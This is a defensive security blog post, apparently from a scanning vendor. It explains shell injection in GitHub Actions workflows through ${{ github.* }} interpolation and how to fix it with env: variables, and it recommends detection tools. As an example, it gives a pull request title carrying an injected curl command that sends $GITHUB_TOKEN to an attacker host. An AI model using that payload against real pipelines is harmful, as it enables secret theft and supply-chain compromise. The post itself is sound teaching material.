Back to Blog
high SEVERITY9 min read

GitHub Actions Shell Injection: How ${{}} Variables Can Hijack Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions release workflow, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of vulnerability can lead to secret theft, code tampering, and full pipeline compromise. The fix involves a simple but critical pattern change: routing untrusted context data through intermediate environment variables before using them in s

O
By orbisai0security
April 20, 2026
#github-actions#shell-injection#cicd-security#devops-security#supply-chain-security#yaml-security#workflow-hardening

GitHub Actions Shell Injection: How ${{}} Variables Can Hijack Your CI/CD Pipeline

Vulnerability: GitHub Actions Shell Injection (run-shell-injection)
Severity: 🔴 HIGH
File: .github/workflows/release-msi.yml
Fixed by: Replacing direct ${{ github.* }} interpolation with intermediate environment variables


Introduction

CI/CD pipelines are the beating heart of modern software delivery. They build your code, run your tests, sign your releases, and deploy your applications — often with access to your most sensitive secrets. That's exactly what makes them a high-value target for attackers.

One of the most subtle yet dangerous vulnerabilities in GitHub Actions workflows is shell injection via context variable interpolation. It doesn't require a sophisticated exploit. It doesn't need a zero-day. In many cases, all it takes is a carefully crafted pull request title or a branch name.

This post breaks down a real shell injection vulnerability that was recently discovered and patched in a GitHub Actions release workflow (release-msi.yml). We'll explore how it works, why it's dangerous, and — most importantly — how to write workflows that are immune to this class of attack.


The Vulnerability Explained

What Is GitHub Actions Context Interpolation?

GitHub Actions workflows support a powerful templating syntax using double curly braces:

${{ github.event.pull_request.title }}
${{ github.head_ref }}
${{ github.actor }}

These expressions are evaluated before the shell script runs. Think of it like string substitution — GitHub replaces the expression with its value, and then the resulting string is handed off to the shell (bash, sh, PowerShell, etc.) for execution.

This is perfectly safe when used in non-shell contexts like if: conditions or with: input parameters. But it becomes dangerous the moment that substituted value lands inside a run: step.

The Vulnerable Pattern

Here's what the vulnerable code looks like conceptually:

# ❌ VULNERABLE: Direct interpolation in a run: step
- name: Create Release
  run: |
    echo "Creating release for ${{ github.event.pull_request.title }}"
    gh release create "${{ github.ref_name }}" \
      --title "${{ github.event.pull_request.title }}"

At first glance, this looks harmless. You're just printing the PR title and using the branch name. What could go wrong?

The Attack: Injecting Shell Commands via a PR Title

Here's the critical insight: GitHub context data is user-controlled input. Anyone who can open a pull request, create a branch, or trigger a workflow can influence the values of fields like:

  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.head_ref
  • github.event.issue.title
  • github.event.comment.body

When GitHub substitutes ${{ github.event.pull_request.title }} into your run: block before the shell sees it, the result is direct shell code construction. An attacker can craft a pull request with a title like:

My Feature"; curl -s https://attacker.com/exfil?token=$GITHUB_TOKEN; echo "

After substitution, your innocent echo command becomes:

echo "Creating release for My Feature"; curl -s https://attacker.com/exfil?token=$GITHUB_TOKEN; echo ""

The shell sees three separate commands separated by semicolons. The attacker's curl command runs with full access to your runner environment — including $GITHUB_TOKEN and any other secrets loaded into the environment.

Real-World Impact

The consequences of a successful shell injection in a GitHub Actions runner are severe:

Impact Description
Secret Theft All secrets injected into the environment (secrets.*) can be exfiltrated
Token Abuse GITHUB_TOKEN can be used to push malicious code, create releases, or modify repository settings
Supply Chain Compromise Attackers can tamper with build artifacts, insert backdoors into releases, or poison package registries
Lateral Movement Cloud credentials (AWS, Azure, GCP) stored as secrets can be used to pivot into production infrastructure
Persistence Attackers can modify workflow files or inject code that persists across future builds

This is not a theoretical concern. The GitHub Security Lab and independent researchers have documented real-world exploits of this exact pattern in popular open-source repositories.


The Fix

The Secure Pattern: Intermediate Environment Variables

The fix is elegant in its simplicity. Instead of interpolating ${{ }} expressions directly into shell commands, you assign them to environment variables first using the env: block, then reference those environment variables in the shell script.

# ✅ SECURE: Use intermediate environment variables
- name: Create Release
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    REF_NAME: ${{ github.ref_name }}
  run: |
    echo "Creating release for $PR_TITLE"
    gh release create "$REF_NAME" \
      --title "$PR_TITLE"

Why This Works

The key difference lies in when and how the value is interpreted:

Vulnerable approach (direct interpolation):
1. GitHub evaluates ${{ github.event.pull_request.title }}My Feature"; malicious code; echo "
2. The resulting string is embedded directly into the shell script source code
3. The shell parses and executes malicious code as a legitimate command

Secure approach (environment variable):
1. GitHub evaluates ${{ github.event.pull_request.title }}My Feature"; malicious code; echo "
2. This value is assigned as the data value of the environment variable PR_TITLE
3. The shell script references "$PR_TITLE" — the shell treats the entire value as a data string, not as code
4. The semicolons, quotes, and backticks in the attacker's payload are never interpreted as shell syntax

This is the same principle behind SQL parameterized queries vs. string concatenation. You're separating code from data.

Before and After Comparison

# ❌ BEFORE: Shell injection vulnerability
jobs:
  release:
    runs-on: windows-latest
    steps:
      - name: Build MSI Release
        run: |
          $version = "${{ github.ref_name }}"
          $title = "${{ github.event.release.name }}"
          Write-Host "Building MSI version $version: $title"
          # ... build commands using these values
# ✅ AFTER: Secure with intermediate environment variables
jobs:
  release:
    runs-on: windows-latest
    steps:
      - name: Build MSI Release
        env:
          RELEASE_VERSION: ${{ github.ref_name }}
          RELEASE_TITLE: ${{ github.event.release.name }}
        run: |
          $version = "$env:RELEASE_VERSION"
          $title = "$env:RELEASE_TITLE"
          Write-Host "Building MSI version $version: $title"
          # ... build commands using these values

💡 Note for PowerShell users: On Windows runners using PowerShell, environment variables are accessed with $env:VARIABLE_NAME syntax. On Linux/macOS runners using bash, use "$VARIABLE_NAME" (always double-quoted).

The Double-Quote Rule

Always double-quote your environment variable references in shell scripts:

# ❌ Unquoted — vulnerable to word splitting and globbing
run: echo $PR_TITLE

# ✅ Double-quoted — value treated as a single string
run: echo "$PR_TITLE"

Without double quotes, an attacker could still cause issues through word splitting (spaces break the value into multiple arguments) or glob expansion (wildcards like * expand to filenames).


Prevention & Best Practices

1. Audit Your Workflows for Direct Interpolation in run: Steps

Search your workflow files for the dangerous pattern:

# Find potential shell injection patterns in GitHub Actions workflows
grep -rn '\${{' .github/workflows/ | grep -A2 'run:' 

Or use this regex to find interpolation directly within run blocks:

run:.*\$\{\{|^\s+\$\{\{.*\}\}

2. Know Which Context Data Is User-Controlled

Treat these as untrusted user input — never interpolate them directly into run: steps:

# High-risk user-controlled fields
github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.head_ref
github.event.pages.*.page_name
github.event.commits.*.message
github.event.*.name
github.event.workflow_run.head_branch

Fields like github.sha or github.run_id are generated by GitHub and are generally safe, but the environment variable pattern is a good habit regardless.

3. Use Static Analysis Tools

Semgrep (the tool that caught this vulnerability) has built-in rules for GitHub Actions security:

# Scan your workflows with Semgrep
semgrep --config "p/github-actions" .github/workflows/

actionlint is a specialized linter for GitHub Actions that catches this class of vulnerability:

# Install and run actionlint
brew install actionlint  # macOS
actionlint .github/workflows/*.yml

CodeQL also has queries for GitHub Actions injection vulnerabilities and can be run as part of your own GitHub Actions pipeline.

4. Apply the Principle of Least Privilege to Workflows

Even if an injection succeeds, limiting permissions reduces the blast radius:

# Set minimal permissions at the workflow level
permissions:
  contents: read

jobs:
  release:
    # Override with only what this job needs
    permissions:
      contents: write  # Only if creating releases

5. Pin Actions to Full Commit SHAs

While not directly related to shell injection, pinning actions prevents supply chain attacks on your dependencies:

# ❌ Vulnerable to tag hijacking
- uses: actions/checkout@v4

# ✅ Pinned to immutable commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

6. Enable Branch Protection and Required Reviews

Since shell injection often requires a malicious PR, requiring code review before workflows run on PRs adds a human checkpoint:

# In your workflow, use pull_request_target carefully
# and consider requiring approval for first-time contributors
on:
  pull_request:
    # This runs in the context of the BASE branch (safer)
    # but be careful with pull_request_target

Security Standards & References

This vulnerability maps to well-known security standards:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • OWASP Top 10 2021 - A03: Injection
  • OWASP CI/CD Security Top 10 - CICD-SEC-4: Poisoned Pipeline Execution (PPE)
  • GitHub Security Lab: Keeping your GitHub Actions and workflows secure
  • SLSA Framework: Supply chain integrity requirements

Conclusion

Shell injection in GitHub Actions is a perfect example of a vulnerability that looks harmless on the surface but carries catastrophic consequences. The ${{ }} syntax feels natural and convenient — it's used everywhere in workflow files. But in run: steps, it's a loaded gun pointed at your secrets, your code, and potentially your production infrastructure.

The fix is a single, simple pattern change that takes seconds to implement:

  1. Move the ${{ github.* }} expression to an env: block
  2. Assign it to a clearly named environment variable
  3. Reference that environment variable in your shell script with double quotes

That's it. No complex refactoring. No new tools required. Just a small change that closes a high-severity attack vector entirely.

The broader lesson here is that CI/CD pipelines deserve the same security scrutiny as application code. They run with elevated privileges, have access to your most sensitive secrets, and are increasingly targeted by sophisticated attackers. Treat every piece of user-controlled data in your workflows as untrusted input — because it is.

Consider integrating tools like Semgrep, actionlint, or CodeQL into your own CI/CD pipeline to catch these issues automatically before they reach production. Security is most effective when it's built into the development process, not bolted on afterward.


This vulnerability was automatically detected and fixed using OrbisAI Security. Automated security scanning of CI/CD configurations is an effective first line of defense against this class of vulnerability.


Further Reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #18074

Related Articles

high

How Missing Checksum Validation Opens the Door to Supply Chain Attacks

A high-severity vulnerability was discovered in a web application's file download pipeline where the `nodejs-file-downloader` dependency was used without any cryptographic verification of downloaded content. Without checksum or signature validation, attackers positioned between the server and client could silently swap legitimate files for malicious ones. This fix closes that window by enforcing integrity verification before any downloaded content is trusted or executed.

high

Unauthenticated Debug Endpoints Expose Firmware Internals: A High-Severity Fix

A high-severity vulnerability was discovered and patched in firmware package handling code, where debug and monitoring endpoints were left exposed without any authentication, authorization, or IP restrictions. These endpoints leaked sensitive application internals including thread states, database connection pool statistics, and potentially sensitive data stored in thread-local storage. Left unpatched, this flaw could allow any unauthenticated attacker to map out application internals and pivot

high

Heap Buffer Overflow in SSL/TLS: When Proto Length Goes Wrong

A critical heap buffer overflow vulnerability was discovered and patched in `src/ssl.c`, where improper bounds checking during ALPN/NPN protocol list construction could allow an attacker to corrupt heap memory and potentially execute arbitrary code. The fix addresses both the missing capacity validation and a dangerous integer overflow in size arithmetic that could lead to undersized allocations followed by out-of-bounds writes. Understanding this class of vulnerability is essential for any deve